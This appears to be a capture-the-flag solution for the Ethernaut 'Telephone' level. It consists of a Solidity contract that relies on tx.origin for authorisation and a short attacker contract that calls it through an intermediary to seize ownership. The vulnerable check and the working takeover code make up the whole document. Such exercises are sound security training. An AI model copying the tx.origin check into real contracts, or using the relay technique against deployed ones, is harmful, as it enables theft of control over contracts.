Ethernaut-5-Telephone-0x0b6F6CE4BCfB70525A31454292017F640C10c768

contracts...Controller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Telephone.sol";

contract Controller {

    Telephone public originalContract = Telephone(0x88E435a53D3cccb830CDEde7a5bA2A165E7CAe1c);

    function callChangeOwner () public {        
        originalContract.changeOwner(msg.sender);
    }
}

contracts...Telephone.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}